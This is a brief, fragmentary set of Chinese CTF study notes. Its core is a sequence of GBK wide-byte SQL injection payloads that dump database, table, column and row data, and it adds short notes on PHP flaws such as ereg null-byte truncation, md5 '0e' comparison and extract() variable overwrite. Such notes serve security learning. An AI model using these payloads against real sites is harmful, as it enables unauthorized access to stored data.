记一些ctf的事

sql注入时的语句::::

eg :nctf GBK injection

?id = 1%df' and 1=2 union select 1,database() %23  ------------获取当前数据库名

?id = 1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=(十六进制数据库名) %23                    ------------获取表名

?id = 1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMN where table_name=(十六进制某表名) %23                            -------------获取某表列名

?id = 1%df' and 1=2 union select 1,(某列名) from (某表名) %23  ---------------获取列中数据

eval()函数::::

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。这个函数存在%00截断漏洞。

MD5碰撞::::

两个变量的md5值,hash值为0ed+类型时,==会认为两边的值都为0

变量覆盖::::

extract()函数存在变量覆盖漏洞

eg:extract($_POST);

if($a=$password){

echo $flag;

}

发送post:a=1&password=1

##

魔术开关:

不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

Client-IP:117.51.158.44

php反序列化漏洞





WEB

md5/sha1弱类型比较

is_numeric()     检测变量是否为数字或数字字符串

z

你可能感兴趣的:(记一些ctf的事)